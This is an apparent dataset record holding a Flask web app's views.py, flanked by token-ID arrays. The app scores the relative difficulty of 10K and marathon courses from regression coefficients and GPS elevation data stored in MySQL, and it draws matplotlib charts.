30004,
13,
18884,
565,
1650,
29918,
15670,
1275,
5497,
29901,
30004,
13,
462,
1678,
1596,
14182,
29940,
29912,
24105,
479,
7646,
19256,
17671,
1095,
543,
1159,
30004,
13,
30004,
13,
18884,
25342,
5497,
297,
1583,
29889,
2929,
918,
29918,
1742,
29901,
30004,
13,
462,
1678,
1596,
14182,
29940,
29912,
24105,
479,
612,
4743,
19256,
17671,
1095,
543,
1159,
30004,
13,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
1596,
14182,
29940,
29912,
18700,
8218,
479,
19256,
17671,
1095,
543,
1159,
30004,
13,
9651,
1596,
26471,
13,
30004,
13,
30004,
13,
29937,
6680,
29879,
30004,
13,
1753,
1667,
7295,
30004,
13,
1678,
1650,
29918,
9303,
353,
1303,
29918,
1445,
29898,
29903,
5607,
2692,
2725,
29918,
7724,
8443,
13,
30004,
13,
1678,
1550,
5852,
29901,
30004,
13,
4706,
330,
353,
8448,
29898,
2929,
918,
29918,
9303,
8443,
13,
4706,
330,
29889,
3389,
29918,
11802,
26471,
13,
30004,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
1667,
26471,
13,
2
] |
webapp/app/views.py | freddyox/letsdothis | 0 | 62392 | from flask import render_template, url_for, request, Flask
from app import app
import pandas as pd
from flaskext.mysql import MySQL
import matplotlib.pyplot as plt
from matplotlib.patches import Patch
plt.switch_backend('agg')
import numpy as np
import operator # sorting dictionary
import random
import string
############################################################
# Set up the database
#
mysql = MySQL()
app.config['MYSQL_DATABASE_USER'] = 'freddy'
app.config['MYSQL_DATABASE_PASSWORD'] = '<PASSWORD>'
app.config['MYSQL_DATABASE_DB'] = 'app'
app.config['MYSQL_DATABASE_HOST'] = 'localhost'
mysql.init_app(app)
conn = mysql.connect()
cur = conn.cursor()
########################################
conversion={'Mar': 26.219,
'10K': 6.214}
########################################
# Flask
@app.route('/')
@app.route('/index')
def index():
# We only have 2 race types, let's just hard code this for now:
return render_template("index.html", AllEvents=AllEvents)
@app.route('/about')
def about():
return render_template("about.html")
@app.route('/contact')
def contact():
return render_template("contact.html")
@app.route('/output')
def output():
sex_map = {'Female': 1, 'Male': 2}
age_map = {'U11':0,'U13':1,'U15':2,'U17':3,'U20':4,'U23':5,
'SEN':6,'V35':7,'V40':8,'V45':9,'V50':10,'V55':11,
'V60':12,'V65':13,'V70':14,'V75':15,'V80':16,'V85':17}
age_type = str(request.args.get('age'))
gender_type = str(request.args.get('gender'))
race_type = str(request.args.get('race'))
event_type = str(request.args.get('event'))
args = []
args.append(age_type)
args.append(gender_type)
args.append(race_type)
if not race_type:
return render_template("value_error.html", AllEvents=AllEvents)
if not event_type:
return render_template("value_error.html", AllEvents=AllEvents)
age_type = pd.Series(age_type)
gender_type = pd.Series(gender_type)
ID = int(pd.Series(event_type)[0])
# Build the appropriate material
age = age_type.map(age_map).astype(int)
sex = gender_type.map(sex_map).astype(int)
event = get_event(ID)
args.append(event)
#print('User Input:')
#print('\t age = {}'.format(age))
#print('\t sex = {}'.format(sex))
#print('\t race = {}'.format(race_type))
#print('\t ID = {}'.format(ID))
#print('\t Event = {}'.format(event))
time = get_time(ID, event, True)
gpx_info = get_gpx_info(ID, event, True)
gpx = gpx_info
gpx.append(time)
#print('Course Input:')
#print('\t time = {}'.format(time))
#print('\t sum_up = {}'.format(gpx_info[0]))
#print('\t sigma = {}'.format(gpx_info[1]))
#print('\t diff = {}'.format(gpx_info[2]))
beta = get_beta(race_type)
X = [age, sex, time, gpx_info[0], gpx_info[1],gpx_info[2]]
# Perform the dot product for our user:
betax = 0.0
for idx, val in enumerate(X):
betax += X[idx]*beta[idx]
#print(idx, X[idx], beta[idx])
# Relative Difficulty
score = get_score(float(betax), race_type)
# Course Difficulty
course_score = get_course_difficulty(beta, gpx, race_type)
#print('Rel, Course Difficulty', score, course_score)
# Plots for the output
name,name_gpx = build_plot(beta, gpx, race_type, ID)
name_score = build_S_curve(betax, score, race_type)
name_diff = build_time_diff_plot(race_type,ID,age,sex)
return render_template("output.html",
betax=betax, score=score, course_score=course_score,
event=event, beta=beta, args=args,
name=name,
name_gpx=name_gpx,
name_score=name_score,
name_diff=name_diff)
##################################################
# Remove sex/age dependence, average the result
def get_course_difficulty(beta, gpx, race_type):
scores = []
for age in range(0,18): # 0 -> 17
for sex in range(1,3): # 1 or 2, female or male
X = [age, sex, gpx[3], gpx[0], gpx[1], gpx[2]]
betax = 0.0
for idx in range(len(X)):
betax += X[idx] * beta[idx]
score = get_score(float(betax), race_type)
scores.append(score)
average = sum(scores) / len(scores)
return average
##################################################
# Build PLOTS
def build_S_curve(betax, score, race_type):
sql_select_query = """SELECT xval,yval FROM d_dist WHERE race_type = %s"""
cur.execute(sql_select_query, (str(race_type), ))
record = cur.fetchall()
xs, ys = [], []
for row in record:
xs.append(row[0])
ys.append(row[1]*10.0)
fig = plt.figure()
ax = plt.subplot(111)
ax.set_xlim(min(xs),max(xs))
ax.set_ylim(0.0,10.0)
ax.plot(xs, ys, 'r', linewidth=4.0)
score = 10.0*score
ax.plot([betax,betax],[0.0, score], c='black',linestyle='--')
ax.plot([betax,0.0],[score, score], c='black',linestyle='--')
plt.ylabel('Relative Difficulty', fontsize=16)
plt.xlabel('Score Distribution', fontsize=16)
plt.tight_layout()
rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])
name = 'app/static/images/plots/scores_{}.png'.format(str(rndstring))
plt.savefig(name)
plt.close(fig);
return name[3:]
def build_time_diff_plot(race_type,ID,age,sex):
Score, Time = [],[]
ThisScore,ThisTime=[],[]
for key,val in AllEvents[race_type].items():
time = get_time(key, val, True)
gpx_info = get_gpx_info(key, val, True)
beta = get_beta(race_type)
X = [age, sex, time, gpx_info[0], gpx_info[1],gpx_info[2]]
betax = 0.0
for idx, val in enumerate(X):
betax += X[idx]*beta[idx]
newscore = get_score(float(betax), race_type)
if key==ID:
ThisScore.append(newscore*10.0)
ThisTime.append(time)
else:
Score.append(newscore*10.0)
Time.append(time)
fig = plt.figure()
ax = plt.subplot(111)
plt.grid()
plt.scatter(Time,Score,c='black',s=30,marker='o',label='All Scores')
plt.scatter(ThisTime,ThisScore,c='red',s=40,marker='^',label='This Race')
ax.set_ylim(0.0,10.0)
avg = sum(Time)/len(Time)
ax.set_xlim(min(Time)-0.1*avg,max(Time)+0.1*avg)
plt.xlabel('Average Finish Time (min)',fontsize=15)
plt.ylabel('Relative Difficulty',fontsize=15)
plt.tight_layout()
rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])
name = 'app/static/images/plots/time_score_{}.png'.format(str(rndstring))
plt.savefig(name)
plt.close(fig);
return name[3:]
################################################################################
# Other methods to help output
#
def build_plot(beta, gpx, race_type, meeting_id):
labels = ['Age', 'Sex', 'Time', 'Elevation', 'Elevation \n Std. Dev.',
'Elevation \n Difference']
xint = range(len(labels))
palette = []
for i in beta:
if i <= 0:
palette.append('#b7040e')
else:
palette.append('#07a64c')
fig = plt.figure()
ax1 = plt.subplot2grid((2, 2), (0, 0), colspan=2)
plt.grid()
ax1.bar(xint, beta, width=1.0, color=palette)
plt.ylabel('Importance', fontsize=12)
plt.title('Regression Feature Importance')
plt.xticks(xint, labels, rotation=0, wrap=True)
plt.tight_layout()
# Let's get the averages for the gpx list for comparision
flags = ['sum_up', 'sigma', 'diff', 'min_time']
averages = []
for i in flags:
avg = get_avg(str(i), str(race_type))
averages.append(avg)
palette2 = ['#ff7f0e','#1f77b4']
ax2 = plt.subplot2grid((2, 2), (1, 0), colspan=1)
xint, vals = range(2), [gpx[3],averages[3]]
min_val = min(gpx[3],averages[3])
max_val = max(gpx[3],averages[3])
ax2.bar(xint,vals, width=1.0, color=palette2)
ax2.set_ylim(0.85*min_val, 1.15*max_val)
plt.ylabel('Finish Time (min)', fontsize=12)
plt.xticks(xint, ['Course \n Time', 'Average \n Time'], rotation=0, wrap=True)
legend_elements = [Patch(facecolor=palette2[0], label='Course Median Time'),
Patch(facecolor=palette2[1], label='{} Median Time'.format(race_type))]
ax2.legend(handles=legend_elements, loc='upper right', frameon=False)
plt.tight_layout()
bins, elevation = get_elevation_dict(meeting_id, race_type)
ax3 = plt.subplot2grid((2, 2), (1, 1), colspan=1)
ax3.plot(bins, elevation)
plt.ylabel('Course Elevation (m)', fontsize=12)
plt.xlabel('Distance (mi)', fontsize=10)
avg = sum(elevation)/len(elevation)
ax3.set_ylim(min(elevation) - 0.15*avg,
max(elevation) + 0.15*avg)
plt.tight_layout()
rndstring = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(10)])
name = 'app/static/images/plots/features_{}.png'.format(str(rndstring))
plt.savefig(name)
# This is VERY TRICKY, sum_up has been normalized by distance BUT the difference
# feature has not. This is the correct way to handle this.
Dist = float(conversion[race_type])
sum_up = gpx[0]*Dist
sum_up_a = get_avg("sum_up",race_type)*Dist
diff = gpx[2]
diff_a = get_avg("diff",race_type)
sum_down = sum_up - diff
sum_down_a = sum_up_a - diff_a
#print(sum_up, sum_up_a, diff, diff_a, sum_down, sum_down_a, 'TESTING')
#print(gpx[0], sum_up)
# Part 2
labels_nice = ['Elev \n Gain', 'Avg Elev \n Gain', 'Elev \n Loss', 'Avg Elev \n Loss']
labels = ['1','2','3','4']
values = [sum_up, sum_up_a, sum_down, sum_down_a]
values = [x/Dist for x in values]
fig2 = plt.figure()
ax22 = plt.subplot(111)
palette3 = ['#ff7f0e','#1f77b4','#ff7f0e','#1f77b4']
ax22.barh(labels, values, align='center', color=palette3, height=1.0)
ax22.set_yticklabels(labels_nice)
ax22.invert_yaxis() # labels read top-to-bottom
ax22.set_xlabel('Elevation Gain/Loss Normalized by Distance (m/mi)')
plt.title("GPS Features")
name_gpx = 'app/static/images/plots/gpx_{}.png'.format(str(rndstring))
plt.grid()
plt.savefig(name_gpx)
plt.close(fig);
plt.close(fig2);
return [name[3:], name_gpx[3:]]
##################################################
# Done PLOTTING
##################################################
##################################################
# SQL TASKS
#
def sql_get_events(flag, unique=True):
sql_select_query = """SELECT meeting_id, event_title FROM race_info WHERE race_type = %s ORDER BY event_title"""
cur.execute(sql_select_query, (str(flag), ))
record = cur.fetchall()
events = {}
for row in record:
events[row[0]] = row[1]
if not unique:
return events
invert = {}
for k, v in events.items():
if v not in invert:
invert[v] = k
unique_events = {}
for k, v in invert.items():
unique_events[v] = k
return unique_events
def get_event(ID):
sql_select_query = """SELECT event_title FROM race_info WHERE meeting_id = %s"""
cur.execute(sql_select_query, (str(ID), ))
record = cur.fetchall()
return record[0][0]
def get_time(ID, event, use_event=True):
sql_select_query = """SELECT meeting_id, min_time FROM race_info WHERE event_title = %s"""
flag = str(event)
cur.execute(sql_select_query, (str(flag), ))
record = cur.fetchall()
#if len(record) > 1:
#print('{} has {} records => averaging times'.format(event,len(record)))
time_avg = 0.0
for row in record:
time_avg += row[1]
N = len(record)
time_avg /= N
return time_avg
def get_gpx_info(ID, event, use_event=True):
sql_select_query = """SELECT meeting_id, sum_up, sigma, diff FROM race_info WHERE meeting_id = %s"""
flag = str(ID)
if use_event:
sql_select_query = """SELECT meeting_id, sum_up, sigma, diff FROM race_info WHERE event_title = %s"""
flag = str(event)
cur.execute(sql_select_query, (str(flag), ))
record = cur.fetchall()
results = [0.0, 0.0, 0.0]
for row in record:
results[0] += row[1]
results[1] += row[2]
results[2] += row[3]
N = len(record)
results[0] /= N
results[1] /= N
results[2] /= N
#print('Found {0} records for {1}'.format(N, event))
return results
def get_beta(race):
sql_select_query = """SELECT age,sex,time,sum_up,sigma,diff FROM beta WHERE race_type = %s"""
cur.execute(sql_select_query, (str(race), ))
record = cur.fetchall()
row = record[0]
beta = []
for i in row:
beta.append(i)
return beta
def get_score(betax, race_type):
# There probably is a fast query to do this but I couldn't get it right in ~5 minutes
# so I moved on...
sql_select_query = """SELECT * FROM d_dist WHERE race_type = %s"""
cur.execute(sql_select_query, (str(race_type), ))
record = cur.fetchall()
bins, xs, ys, dxs = [], [], [], []
for row in record:
bins.append(row[0])
xs.append(row[1])
ys.append(row[2])
dxs.append(row[3])
score = -1.0
for idx,val in enumerate(xs):
dx = dxs[idx]*0.5
dlo = xs[idx] - dx
dhi = xs[idx] + dx
if (betax >= dlo) and (betax < dhi):
score = ys[idx]
break
return score
def get_avg(column_name, race_type):
sql_select_query = """SELECT AVG(min_time), AVG(sum_up), AVG(sigma), AVG(diff), AVG(dt) FROM race_info WHERE race_type = %s"""
input = [str(race_type)]
cur.execute(sql_select_query, input)
record = cur.fetchall()
rec_dict = {'min_time': record[0][0],
'sum_up' : record[0][1],
'sigma' : record[0][2],
'diff' : record[0][3],
'dt' : record[0][4]}
if column_name in rec_dict:
return float(rec_dict[column_name])
else:
return 0.0
def get_elevation_dict(meeting_id, race_type):
sql_select_query = """SELECT bin,elevation FROM gpx WHERE meeting_id = %s"""
input = [str(meeting_id)]
cur.execute(sql_select_query, input)
record = cur.fetchall()
xval, yval = [], []
N = len(record)
bins = {}
for row in record:
bins[row[0]] = (row[0], row[1])
norm = (1.0 / float(N)) * (float(conversion[str(race_type)]) )
for key, val in bins.items():
if key%10 is 0: # reduce the granularity of the arrays
xval.append( val[0] * norm )
yval.append( val[1] )
return [xval,yval]
AllEvents = {}
AllEvents['10K'] = sql_get_events("10K")
AllEvents['Mar'] = sql_get_events("Mar")
| [
1,
515,
29784,
1053,
4050,
29918,
6886,
29892,
3142,
29918,
1454,
29892,
2009,
29892,
2379,
1278,
13,
3166,
623,
1053,
623,
13,
5215,
11701,
408,
10518,
13,
3166,
1652,
294,
446,
486,
29889,
7938,
1053,
9254,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
22889,
29889,
5041,
267,
1053,
349,
905,
13,
572,
29873,
29889,
15123,
29918,
27852,
877,
16170,
1495,
13,
5215,
12655,
408,
7442,
13,
5215,
5455,
396,
16548,
8600,
13,
5215,
4036,
13,
5215,
1347,
13,
13,
13383,
13383,
13383,
7346,
4136,
13,
29937,
3789,
701,
278,
2566,
13,
29937,
13,
7938,
353,
9254,
580,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
25832,
27982,
29918,
11889,
2033,
268,
353,
525,
18447,
4518,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
25832,
27982,
29918,
25711,
17013,
2033,
353,
12801,
25711,
17013,
16299,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
25832,
27982,
29918,
4051,
2033,
539,
353,
525,
932,
29915,
13,
932,
29889,
2917,
1839,
17870,
4176,
29918,
25832,
27982,
29918,
20832,
2033,
268,
353,
525,
7640,
29915,
13,
7938,
29889,
2344,
29918,
932,
29898,
932,
29897,
13,
13082,
353,
5749,
29889,
6915,
580,
13,
2764,
29871,
353,
11009,
29889,
18127,
580,
13,
13,
13383,
13383,
7346,
13,
535,
3259,
3790,
29915,
7083,
2396,
29871,
29906,
29953,
29889,
29906,
29896,
29929,
29892,
13,
9651,
525,
29896,
29900,
29968,
2396,
29871,
29953,
29889,
29906,
29896,
29946,
29913,
13,
13,
13383,
13383,
7346,
13,
29937,
2379,
1278,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
29992,
932,
29889,
13134,
11219,
2248,
1495,
13,
1753,
2380,
7295,
13,
1678,
396,
1334,
871,
505,
29871,
29906,
8175,
4072,
29892,
1235,
29915,
29879,
925,
2898,
775,
445,
363,
1286,
29901,
13,
1678,
736,
4050,
29918,
6886,
703,
2248,
29889,
1420,
613,
2178,
13634,
29922,
3596,
13634,
29897,
13,
13,
29992,
932,
29889,
13134,
11219,
12717,
1495,
13,
1753,
1048,
7295,
13,
1678,
736,
4050,
29918,
6886,
703,
12717,
29889,
1420,
1159,
13,
13,
29992,
932,
29889,
13134,
11219,
12346,
1495,
13,
1753,
6958,
7295,
13,
1678,
736,
4050,
29918,
6886,
703,
12346,
29889,
1420,
1159,
13,
13,
29992,
932,
29889,
13134,
11219,
4905,
1495,
13,
1753,
1962,
7295,
13,
1678,
7916,
29918,
1958,
353,
11117,
29943,
331,
744,
2396,
29871,
29896,
29892,
525,
29924,
744,
2396,
29871,
29906,
29913,
13,
1678,
5046,
29918,
1958,
353,
11117,
29965,
29896,
29896,
2396,
29900,
5501,
29965,
29896,
29941,
2396,
29896,
5501,
29965,
29896,
29945,
2396,
29906,
5501,
29965,
29896,
29955,
2396,
29941,
5501,
29965,
29906,
29900,
2396,
29946,
5501,
29965,
29906,
29941,
2396,
29945,
29892,
13,
1669,
525,
29903,
1430,
2396,
29953,
5501,
29963,
29941,
29945,
2396,
29955,
5501,
29963,
29946,
29900,
2396,
29947,
5501,
29963,
29946,
29945,
2396,
29929,
5501,
29963,
29945,
29900,
2396,
29896,
29900,
5501,
29963,
29945,
29945,
2396,
29896,
29896,
29892,
13,
1669,
525,
29963,
29953,
29900,
2396,
29896,
29906,
5501,
29963,
29953,
29945,
2396,
29896,
29941,
5501,
29963,
29955,
29900,
2396,
29896,
29946,
5501,
29963,
29955,
29945,
2396,
29896,
29945,
5501,
29963,
29947,
29900,
2396,
29896,
29953,
5501,
29963,
29947,
29945,
2396,
29896,
29955,
29913,
13,
1678,
5046,
29918,
1853,
1678,
353,
851,
29898,
3827,
29889,
5085,
29889,
657,
877,
482,
8785,
13,
1678,
23346,
29918,
1853,
353,
851,
29898,
3827,
29889,
5085,
29889,
657,
877,
26098,
8785,
13,
1678,
8175,
29918,
1853,
259,
353,
851,
29898,
3827,
29889,
5085,
29889,
657,
877,
25525,
8785,
13,
1678,
1741,
29918,
1853,
29871,
353,
851,
29898,
3827,
29889,
5085,
29889,
657,
877,
3696,
8785,
13,
1678,
6389,
353,
5159,
13,
1678,
6389,
29889,
4397,
29898,
482,
29918,
1853,
29897,
13,
1678,
6389,
29889,
4397,
29898,
26098,
29918,
1853,
29897,
13,
1678,
6389,
29889,
4397,
29898,
25525,
29918,
1853,
29897,
13,
268,
13,
1678,
565,
451,
8175,
29918,
1853,
29901,
13,
4706,
736,
4050,
29918,
6886,
703,
1767,
29918,
2704,
29889,
1420,
613,
2178,
13634,
29922,
3596,
13634,
29897,
13,
1678,
565,
451,
1741,
29918,
1853,
29901,
13,
4706,
736,
4050,
29918,
6886,
703,
1767,
29918,
2704,
29889,
1420,
613,
2178,
13634,
29922,
3596,
13634,
29897,
13,
13,
1678,
5046,
29918,
1853,
1678,
353,
29871,
10518,
29889,
19204,
29898,
482,
29918,
1853,
29897,
13,
1678,
23346,
29918,
1853,
353,
29871,
10518,
29889,
19204,
29898,
26098,
29918,
1853,
29897,
13,
1678,
3553,
3986,
353,
29871,
938,
29898,
15926,
29889,
19204,
29898,
3696,
29918,
1853,
9601,
29900,
2314,
13,
308,
13,
1678,
396,
8878,
278,
8210,
5518,
13,
1678,
5046,
418,
353,
5046,
29918,
1853,
29889,
1958,
29898,
482,
29918,
1958,
467,
579,
668,
29898,
524,
29897,
13,
1678,
7916,
418,
353,
23346,
29918,
1853,
29889,
1958,
29898,
14167,
29918,
1958,
467,
579,
668,
29898,
524,
29897,
13,
1678,
1741,
1678,
353,
679,
29918,
3696,
29898,
1367,
29897,
13,
1678,
6389,
29889,
4397,
29898,
3696,
29897,
13,
268,
13,
1678,
396,
2158,
877,
2659,
10567,
29901,
1495,
13,
1678,
396,
2158,
28909,
29873,
5046,
259,
353,
6571,
4286,
4830,
29898,
482,
876,
13,
1678,
396,
2158,
28909,
29873,
7916,
259,
353,
6571,
4286,
4830,
29898,
14167,
876,
13,
1678,
396,
2158,
28909,
29873,
8175,
29871,
353,
6571,
4286,
4830,
29898,
25525,
29918,
1853,
876,
13,
1678,
396,
2158,
28909,
29873,
3553,
1678,
353,
6571,
4286,
4830,
29898,
1367,
876,
13,
1678,
396,
2158,
28909,
29873,
6864,
353,
6571,
4286,
4830,
29898,
3696,
876,
13,
268,
13,
1678,
931,
268,
353,
679,
29918,
2230,
29898,
1367,
29892,
1741,
29892,
5852,
29897,
13,
1678,
330,
1756,
29918,
3888,
353,
679,
29918,
29887,
1756,
29918,
3888,
29898,
1367,
29892,
1741,
29892,
5852,
29897,
13,
1678,
330,
1756,
353,
330,
1756,
29918,
3888,
13,
1678,
330,
1756,
29889,
4397,
29898,
2230,
29897,
13,
268,
13,
1678,
396,
2158,
877,
29907,
10242,
10567,
29901,
1495,
13,
1678,
396,
2158,
28909,
29873,
931,
259,
353,
6571,
4286,
4830,
29898,
2230,
876,
13,
1678,
396,
2158,
28909,
29873,
2533,
29918,
786,
353,
6571,
4286,
4830,
29898,
29887,
1756,
29918,
3888,
29961,
29900,
12622,
13,
1678,
396,
2158,
28909,
29873,
269,
2934,
29871,
353,
6571,
4286,
4830,
29898,
29887,
1756,
29918,
3888,
29961,
29896,
12622,
13,
1678,
396,
2158,
28909,
29873,
2923,
259,
353,
6571,
4286,
4830,
29898,
29887,
1756,
29918,
3888,
29961,
29906,
12622,
13,
539,
13,
1678,
21762,
353,
679,
29918,
3571,
29898,
25525,
29918,
1853,
29897,
13,
1678,
1060,
1678,
353,
518,
482,
29892,
7916,
29892,
931,
29892,
330,
1756,
29918,
3888,
29961,
29900,
1402,
330,
1756,
29918,
3888,
29961,
29896,
1402,
29887,
1756,
29918,
3888,
29961,
29906,
5262,
13,
268,
13,
1678,
396,
27313,
278,
8329,
3234,
363,
1749,
1404,
29901,
13,
1678,
1010,
1165,
353,
29871,
29900,
29889,
29900,
13,
1678,
363,
22645,
29892,
659,
297,
26985,
29898,
29990,
1125,
13,
4706,
1010,
1165,
4619,
1060,
29961,
13140,
14178,
3571,
29961,
13140,
29962,
13,
4706,
396,
2158,
29898,
13140,
29892,
1060,
29961,
13140,
1402,
21762,
29961,
13140,
2314,
13,
13,
1678,
396,
6376,
1230,
360,
2593,
3953,
29891,
13,
1678,
8158,
353,
679,
29918,
13628,
29898,
7411,
29898,
6878,
1165,
511,
8175,
29918,
1853,
29897,
13,
1678,
396,
6325,
344,
360,
2593,
3953,
29891,
13,
1678,
3236,
29918,
13628,
353,
679,
29918,
15775,
29918,
12765,
3953,
29891,
29898,
3571,
29892,
330,
1756,
29892,
8175,
29918,
1853,
29897,
13,
1678,
396,
2158,
877,
9662,
29892,
6325,
344,
360,
2593,
3953,
29891,
742,
8158,
29892,
3236,
29918,
13628,
29897,
13,
13,
1678,
396,
1858,
1862,
363,
278,
1962,
13,
1678,
1024,
29892,
978,
29918,
29887,
1756,
353,
2048,
29918,
5317,
29898,
3571,
29892,
330,
1756,
29892,
8175,
29918,
1853,
29892,
3553,
29897,
13,
1678,
1024,
29918,
13628,
353,
2048,
29918,
29903,
29918,
2764,
345,
29898,
6878,
1165,
29892,
8158,
29892,
8175,
29918,
1853,
29897,
13,
1678,
1024,
29918,
12765,
353,
2048,
29918,
2230,
29918,
12765,
29918,
5317,
29898,
25525,
29918,
1853,
29892,
1367,
29892,
482,
29892,
14167,
29897,
13,
268,
13,
1678,
736,
4050,
29918,
6886,
703,
4905,
29889,
1420,
613,
13,
462,
965,
1010,
1165,
29922,
6878,
1165,
29892,
8158,
29922,
13628,
29892,
3236,
29918,
13628,
29922,
15775,
29918,
13628,
29892,
13,
462,
965,
1741,
29922,
3696,
29892,
21762,
29922,
3571,
29892,
6389,
29922,
5085,
29892,
13,
462,
965,
1024,
29922,
978,
29892,
13,
462,
965,
1024,
29918,
29887,
1756,
29922,
978,
29918,
29887,
1756,
29892,
13,
462,
965,
1024,
29918,
13628,
29922,
978,
29918,
13628,
29892,
13,
462,
965,
1024,
29918,
12765,
29922,
978,
29918,
12765,
29897,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
15154,
7916,
29914,
482,
26307,
29892,
6588,
278,
1121,
13,
1753,
679,
29918,
15775,
29918,
12765,
3953,
29891,
29898,
3571,
29892,
330,
1756,
29892,
8175,
29918,
1853,
1125,
13,
1678,
19435,
353,
5159,
13,
1678,
363,
5046,
297,
3464,
29898,
29900,
29892,
29896,
29947,
1125,
268,
396,
29871,
29900,
1599,
29871,
29896,
29955,
13,
4706,
363,
7916,
297,
3464,
29898,
29896,
29892,
29941,
1125,
29871,
396,
29871,
29896,
470,
29871,
29906,
29892,
12944,
470,
14263,
13,
9651,
1060,
353,
518,
482,
29892,
7916,
29892,
330,
1756,
29961,
29941,
1402,
330,
1756,
29961,
29900,
1402,
330,
1756,
29961,
29896,
1402,
330,
1756,
29961,
29906,
5262,
13,
9651,
1010,
1165,
353,
29871,
29900,
29889,
29900,
13,
9651,
363,
22645,
297,
3464,
29898,
2435,
29898,
29990,
22164,
13,
18884,
1010,
1165,
4619,
1060,
29961,
13140,
29962,
334,
21762,
29961,
13140,
29962,
13,
9651,
8158,
353,
679,
29918,
13628,
29898,
7411,
29898,
6878,
1165,
511,
8175,
29918,
1853,
29897,
13,
9651,
19435,
29889,
4397,
29898,
13628,
29897,
13,
1678,
6588,
353,
2533,
29898,
1557,
2361,
29897,
847,
7431,
29898,
1557,
2361,
29897,
13,
1678,
736,
6588,
13,
13383,
13383,
13383,
2277,
13,
29937,
8878,
16507,
2891,
29903,
13,
1753,
2048,
29918,
29903,
29918,
2764,
345,
29898,
6878,
1165,
29892,
8158,
29892,
8175,
29918,
1853,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
921,
791,
29892,
29891,
791,
3895,
270,
29918,
5721,
5754,
8175,
29918,
1853,
353,
1273,
29879,
15945,
29908,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
25525,
29918,
1853,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
14492,
29892,
343,
29879,
353,
19997,
5159,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
14492,
29889,
4397,
29898,
798,
29961,
29900,
2314,
13,
4706,
343,
29879,
29889,
4397,
29898,
798,
29961,
29896,
14178,
29896,
29900,
29889,
29900,
29897,
13,
13,
1678,
2537,
353,
14770,
29889,
4532,
580,
13,
1678,
4853,
353,
14770,
29889,
1491,
5317,
29898,
29896,
29896,
29896,
29897,
13,
1678,
4853,
29889,
842,
29918,
29916,
2576,
29898,
1195,
29898,
10351,
511,
3317,
29898,
10351,
876,
13,
1678,
4853,
29889,
842,
29918,
29891,
2576,
29898,
29900,
29889,
29900,
29892,
29896,
29900,
29889,
29900,
29897,
13,
1678,
4853,
29889,
5317,
29898,
10351,
29892,
343,
29879,
29892,
525,
29878,
742,
1196,
2103,
29922,
29946,
29889,
29900,
29897,
13,
1678,
8158,
353,
29871,
29896,
29900,
29889,
29900,
29930,
13628,
13,
1678,
4853,
29889,
5317,
4197,
6878,
1165,
29892,
6878,
1165,
16272,
29900,
29889,
29900,
29892,
8158,
1402,
274,
2433,
8517,
742,
1915,
342,
1508,
2433,
489,
1495,
13,
1678,
4853,
29889,
5317,
4197,
6878,
1165,
29892,
29900,
29889,
29900,
16272,
13628,
29892,
8158,
1402,
274,
2433,
8517,
742,
1915,
342,
1508,
2433,
489,
1495,
13,
1678,
14770,
29889,
29891,
1643,
877,
18278,
360,
2593,
3953,
29891,
742,
4079,
2311,
29922,
29896,
29953,
29897,
13,
1678,
14770,
29889,
29916,
1643,
877,
20097,
17740,
742,
4079,
2311,
29922,
29896,
29953,
29897,
13,
13,
1678,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
1678,
364,
299,
1807,
353,
525,
4286,
7122,
4197,
8172,
29889,
16957,
29898,
1807,
29889,
294,
18869,
29918,
1026,
2153,
718,
1347,
29889,
7501,
1169,
29897,
363,
302,
297,
3464,
29898,
29896,
29900,
29897,
2314,
13,
1678,
1024,
268,
353,
525,
932,
29914,
7959,
29914,
8346,
29914,
26762,
29914,
1557,
2361,
648,
1836,
2732,
4286,
4830,
29898,
710,
29898,
29878,
299,
1807,
876,
13,
1678,
14770,
29889,
7620,
1003,
29898,
978,
29897,
13,
1678,
14770,
29889,
5358,
29898,
1003,
416,
13,
1678,
736,
1024,
29961,
29941,
17531,
13,
13,
1753,
2048,
29918,
2230,
29918,
12765,
29918,
5317,
29898,
25525,
29918,
1853,
29892,
1367,
29892,
482,
29892,
14167,
1125,
13,
1678,
2522,
487,
29892,
5974,
353,
19997,
2636,
13,
1678,
910,
20097,
29892,
4013,
2481,
11759,
1402,
2636,
13,
1678,
363,
1820,
29892,
791,
297,
2178,
13634,
29961,
25525,
29918,
1853,
1822,
7076,
7295,
13,
4706,
931,
268,
353,
679,
29918,
2230,
29898,
1989,
29892,
659,
29892,
5852,
29897,
13,
4706,
330,
1756,
29918,
3888,
353,
679,
29918,
29887,
1756,
29918,
3888,
29898,
1989,
29892,
659,
29892,
5852,
29897,
13,
4706,
21762,
268,
353,
679,
29918,
3571,
29898,
25525,
29918,
1853,
29897,
13,
4706,
1060,
4706,
353,
518,
482,
29892,
7916,
29892,
931,
29892,
330,
1756,
29918,
3888,
29961,
29900,
1402,
330,
1756,
29918,
3888,
29961,
29896,
1402,
29887,
1756,
29918,
3888,
29961,
29906,
5262,
13,
4706,
1010,
1165,
353,
29871,
29900,
29889,
29900,
13,
4706,
363,
22645,
29892,
659,
297,
26985,
29898,
29990,
1125,
13,
9651,
1010,
1165,
4619,
1060,
29961,
13140,
14178,
3571,
29961,
13140,
29962,
13,
4706,
716,
13628,
353,
679,
29918,
13628,
29898,
7411,
29898,
6878,
1165,
511,
8175,
29918,
1853,
29897,
13,
4706,
565,
1820,
1360,
1367,
29901,
13,
9651,
910,
20097,
29889,
4397,
29898,
1482,
13628,
29930,
29896,
29900,
29889,
29900,
29897,
13,
9651,
910,
2481,
29889,
4397,
29898,
2230,
29897,
13,
4706,
1683,
29901,
13,
9651,
2522,
487,
29889,
4397,
29898,
1482,
13628,
